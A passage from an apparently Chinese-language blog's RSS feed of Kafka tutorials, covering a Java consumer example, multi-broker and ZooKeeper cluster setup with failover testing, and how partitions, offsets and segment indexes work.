&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;group.id&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.session.timeout.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SESSION_TIMEOUT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;zookeeper.sync.time.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SYNC_TIMEOUT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;auto.commit.interval.ms&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KafkaProperties&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;INTERVAL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ConsumerConfig&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;props&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;run&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HashMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KafkaStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;createMessageStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;KafkaStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;ConsumerIterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;it&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;iterator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;it&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hasNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Receive-&amp;gt;[&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;it&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;next&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;printStackTrace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5 编写启动辅助类&lt;/p&gt;</description>
    </item>
    <item>
      <title>kafka文章推荐</title>
      <link>http://blog.leaver.me/2015/09/07/kafka%E6%96%87%E7%AB%A0%E6%8E%A8%E8%8D%90/</link>
      <pubDate>Mon, 07 Sep 2015 23:45:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/07/kafka%E6%96%87%E7%AB%A0%E6%8E%A8%E8%8D%90/</guid>
      <description>&lt;p&gt;本文主要分享看到的好的关于kafka的文章.后续看到持续更新&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-1&#34;&gt;Kafka剖析（一）：Kafka背景及架构介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-2&#34;&gt;Kafka设计解析（二）：Kafka High Availability （上）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-3&#34;&gt;Kafka设计解析（三）：Kafka High Availability （下）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-4&#34;&gt;Kafka设计解析（四）：Kafka Consumer解析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka分布式部署与验证</title>
      <link>http://blog.leaver.me/2015/09/05/kafka%E5%88%86%E5%B8%83%E5%BC%8F%E9%83%A8%E7%BD%B2%E4%B8%8E%E9%AA%8C%E8%AF%81/</link>
      <pubDate>Sat, 05 Sep 2015 07:30:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/05/kafka%E5%88%86%E5%B8%83%E5%BC%8F%E9%83%A8%E7%BD%B2%E4%B8%8E%E9%AA%8C%E8%AF%81/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;,和&lt;a href=&#34;http://leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/&#34;&gt;kafka中的partition和offset&lt;/a&gt;中,已经解释了kafka的一些原理,和完成了一个简单的生产消费的实践,如第一篇所说,kafka是一个分布式环境下的消息组件,那么,按照我们前面的简单上手,如果kafka的应用进程被杀或者kafka的机器宕机,那么kafka消息组件就无法使用了,或者zookeeper宕机了,那么kafka也无法使用了.&lt;/p&gt;
&lt;h2 id=&#34;kafka集群cluster&#34;&gt;kafka集群(cluster)&lt;/h2&gt;
&lt;p&gt;一台机器不够,那就多搞几台,首先,启动zookeeper这个就不多说了.可以参看前文,在启动kafka的时候,我们在单机模拟启动多个kafka应用.
首先在config目录,copy两个server.properties 文件,这里我复制三份,分别起名server1.properties ,server2.properties server3.properties
然后修改这三个配置文件,主要修改broker.id=2,port=9094,log.dir=/tmp/kafka-logs-2这三个值,broker.id是用来标记分布式环境中的broker的,要求唯一,port和log.dir一个端口,一个log目录,如果在真实的分布式环境中是不需要修改.这里单机模拟防止端口冲突.&lt;/p&gt;
&lt;p&gt;分别把broker.id改为1,2,3,log.dir则分别改成kafka-logs-1,kafka-logs-2,kafka-logs-3,然后依次启动
&lt;code&gt;kafka-server-start.bat ../../config/server1.properties&lt;/code&gt;
&lt;code&gt;kafka-server-start.bat ../../config/server2.properties&lt;/code&gt;
&lt;code&gt;kafka-server-start.bat ../../config/server3.properties&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果你启动有报错,一个就是之前说的那个vm参数太大,另一个可能是你的端口没改好.具体错误看下报错就好了.&lt;/p&gt;
&lt;p&gt;然后我们注册一个topic,叫做replicationtest
&lt;code&gt;kafka-topics.bat --create --zookeeper localhost:2181 --replication-factor 3 --partitions 1 --topic replicationtest&lt;/code&gt;
这里冗余是3,分区是1,那么最终各个broker都会保留一份,最多允许N-1,也就是2台broker宕机,服务照样运行.
注册之后,这时候
&lt;code&gt;kafka-topics.bat--describe --zookeeper localhost:2181 --topic replicationtest&lt;/code&gt;
执行描述命令,看下集群情况
&lt;img alt=&#34;集群描述结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_cluster_show.jpg&#34;&gt;
第一行给出了分区的汇总信息。每个分区行给出分区信息。&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Leader&amp;rdquo; 节点是2.
&amp;ldquo;Replicas&amp;rdquo; 信息，在节点2,3,1上,所有的节点信息.
&amp;ldquo;Isr&amp;rdquo; 工作中的复制节点的集合. 也就是活的节点的集合.&lt;/p&gt;
&lt;p&gt;其他的就不用解释了.这里选出了2是leader,也就是说2这个节点会给消费者提供服务.&lt;/p&gt;
&lt;p&gt;然后我们测试一条信息.
&lt;code&gt;kafka-console-producer.bat --broker-list localhost:7777,localhost:8888,localhost:9999 --topic replicationtest&lt;/code&gt;
上面的7777是server1.properties 中设置的.根据个人情况.改改.然后在控制台发发消息.&lt;/p&gt;
&lt;p&gt;然后消费一下.
&lt;code&gt;kafka-console-consumer.bat --zookeeper localhost:2181 --topic replicationtest&lt;/code&gt;
这里的2181是zookeeper的端口,不用改.
&lt;img alt=&#34;目前运行结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_replication_test.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;然后.我们开始关掉一个broker,在3的控制台里CTRL,C.然后是否终止操作,输入Y.
再发一条消息
&lt;img alt=&#34;broker3宕机&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker3_down.jpg&#34;&gt;
一切正常.我们看一下集群信息
&lt;img alt=&#34;broker3宕机集群&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker3_down_cluster.jpg&#34;&gt;
发现Isr中存活的机器少了3.因为3挂了.
然后我们关掉broker2.这时候,会触发新的leader选举.期望值1变成leader,再发一条消息
&lt;img alt=&#34;broker2宕机&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker2_down.jpg&#34;&gt;
可以看到生产者发消息过程中,产生了异常,因为和2的连接断开了.但是注意,消息并没有丢,因为触发了新的选举.可以看到,消费者还是接到了正常的消息.集群情况如下
&lt;img alt=&#34;broker2宕机集群&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker2_down_cluster.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;至此,kafka的broker集群测试完毕,那么剩下的问题来了.消费者启动的时候连接的是zookeeper的地址,如果这台zookeeper挂了呢.
那么我们需要zookeeper集群部署.&lt;/p&gt;
&lt;h2 id=&#34;zookeeper集群&#34;&gt;zookeeper集群&lt;/h2&gt;
&lt;p&gt;这就包括两部分.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;是broker本来要能知道这些zookeeper集群的地址,当一个宕机的时候,才会切换到另一个zookeeper&lt;/li&gt;
&lt;li&gt;消费者要知道这些zookeeper的地址,理由同上.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此步骤如下.可以自己试一试,比较简单&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;复制3份zookeeper.properties文件,命名为zookeeper1.properties,zookeeper2.properties,zookeeper3.properties,修改文件中的dataDir=/tmp/zookeeper和,clientPort=2181,端口分别设置为2181,2182,2183.然后启动三个zookeeper&lt;/li&gt;
&lt;li&gt;修改kafka启动配置,server1.properties三个文件中的zookeeper.connect=localhost:2181这个配置,逗号隔开.最终为zookeeper.connect=localhost:2181,localhost:2182,localhost:2183,然后启动&lt;/li&gt;
&lt;li&gt;生产者也改下配置中的.metadata.broker.list=localhost:9092,如果使用命令行启动就不用改了.参数指定也可以.&lt;/li&gt;
&lt;li&gt;消费者同理,可以改下配置文件中zookeeper.connect=127.0.0.1:2181,也可以命令行启动的时候修改.
5.最终就是各种宕机测试了.&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka中的partition和offset</title>
      <link>http://blog.leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/</link>
      <pubDate>Fri, 04 Sep 2015 00:01:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;中,留下的问题是关于partition和offset,这篇文章主要解释这个.&lt;/p&gt;
&lt;h2 id=&#34;log机制&#34;&gt;Log机制&lt;/h2&gt;
&lt;p&gt;说到分区,就要说kafka对消息的存储.在&lt;a href=&#34;http://kafka.apache.org/documentation.html#replication&#34;&gt;官方文档&lt;/a&gt;中.
&lt;img alt=&#34;分区读写日志图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_partition_log.jpg&#34;&gt;
首先,kafka是通过log(日志)来记录消息发布的.每当产生一个消息,kafka会记录到本地的log文件中,这个log和我们平时的log有一定的区别.这里可以参考一下&lt;a href=&#34;http://www.cnblogs.com/foreach-break/p/notes_about_distributed_system_and_The_log.html&#34;&gt;The Log&lt;/a&gt;,不多解释.&lt;/p&gt;
&lt;p&gt;这个log文件默认的位置在config/server.properties中指定的.默认的位置是log.dirs=/tmp/kafka-logs,linux不用说,windows的话就在你对应磁盘的根目录下.我这里是D盘.&lt;/p&gt;
&lt;p&gt;#分区partition#
kafka是为分布式环境设计的,因此如果日志文件,其实也可以理解成消息数据库,放在同一个地方,那么必然会带来可用性的下降,一挂全挂,如果全量拷贝到所有的机器上,那么数据又存在过多的冗余,而且由于每台机器的磁盘大小是有限的,所以即使有再多的机器,可处理的消息还是被磁盘所限制,无法超越当前磁盘大小.因此有了partition的概念.&lt;/p&gt;
&lt;p&gt;kafka对消息进行一定的计算,通过hash来进行分区.这样,就把一份log文件分成了多份.如上面的分区读写日志图,分成多份以后,在单台broker上,比如快速上手中,如果新建topic的时候,我们选择了&lt;code&gt;--replication-factor 1 --partitions 2&lt;/code&gt;,那么在log目录里,我们会看到
test-0目录和test-1目录.就是两个分区了.&lt;/p&gt;
&lt;p&gt;你可能会想,这特么没啥区别呀.注意,当有了多个broker之后,这个意义就存在了.这里上一张图,原文在参考链接里有
&lt;img alt=&#34;kafka分布式分区存储&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_partition_storage.jpg&#34;&gt;
这是一个topic包含4个Partition，2 Replication(拷贝),也就是说全部的消息被放在了4个分区存储,为了高可用,将4个分区做了2份冗余,然后根据&lt;a href=&#34;http://blog.csdn.net/lizhitao/article/details/41778193&#34;&gt;分配算法&lt;/a&gt;.将总共8份数据,分配到broker集群上.&lt;/p&gt;
&lt;p&gt;结果就是每个broker上存储的数据比全量数据要少,但每份数据都有冗余,这样,一旦一台机器宕机,并不影响使用.比如图中的Broker1,宕机了.那么剩下的三台broker依然保留了全量的分区数据.所以还能使用,如果再宕机一台,那么数据不完整了.当然你可以设置更多的冗余,比如设置了冗余是4,那么每台机器就有了0123完整的数据,宕机几台都行.需要在存储占用和高可用之间做衡量.
至于宕机后,zookeeper会选出新的partition leader.来提供服务.这个等下篇文章&lt;/p&gt;
&lt;p&gt;#偏移offset#&lt;/p&gt;
&lt;p&gt;上一段说了分区,分区就是一个有序的,不可变的消息队列.新来的commit log持续往后面加数据.这些消息被分配了一个下标(或者偏移),就是offset,用来定位这一条消息.&lt;/p&gt;
&lt;p&gt;消费者消费到了哪条消息,是保持在消费者这一端的.消息者也可以控制,消费者可以在本地保存最后消息的offset,并间歇性的向zookeeper注册offset.也可以重置offset&lt;/p&gt;
&lt;p&gt;#如何通过offset算出分区#&lt;/p&gt;
&lt;p&gt;其实partition存储的时候,又分成了多个segment(段),然后通过一个index,索引,来标识第几段.这里先可以去看一下本地log目录的分区文件夹.
在我这里,test-0,这个分区里面,会有一个index文件和一个log文件,
&lt;img alt=&#34;index和log&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_index_log.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;对于某个指定的分区,假设每5个消息,作为一个段大小,当产生了10条消息的情况想,目前有会得到(只是解释)
0.index (表示这里index是对0-4做的索引)
5.index (表示这里index是对5-9做的索引)
10.index (表示这里index是对10-15做的索引,目前还没满)
和
0.log
5.log
10.log
,当消费者需要读取offset=8的时候,首先kafka对index文件列表进行二分查找,可以算出.应该是在5.index对应的log文件中,然后对对应的5.log文件,进行顺序查找,5-&amp;gt;6-&amp;gt;7-&amp;gt;8,直到顺序找到8就好了.&lt;/p&gt;
&lt;p&gt;具体的算法参看&lt;a href=&#34;http://tech.meituan.com/kafka-fs-design-theory.html&#34;&gt;美团的文章&lt;/a&gt;好了&lt;/p&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kafka.apache.org/documentation.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://tech.meituan.com/kafka-fs-design-theory.html&#34;&gt;Kafka文件存储机制那些事&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/lizhitao/article/details/41778193&#34;&gt;Kafka集群partition replication自动分配分析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka快速上手</title>
      <link>http://blog.leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/</link>
      <pubDate>Thu, 03 Sep 2015 22:29:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/</guid>
      <description>&lt;h2 id=&#34;简单介绍&#34;&gt;简单介绍&lt;/h2&gt;
&lt;p&gt;kafka是一个分布式消息中间件,在kafka中主要涉及到四个基本名词:
&lt;strong&gt;Topic&lt;/strong&gt;
Kafka将消息种子分门别类， 每一类的消息称之为一个主题(Topic).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Producer&lt;/strong&gt;
发布消息的对象称之为主题生产者.&lt;/p&gt;
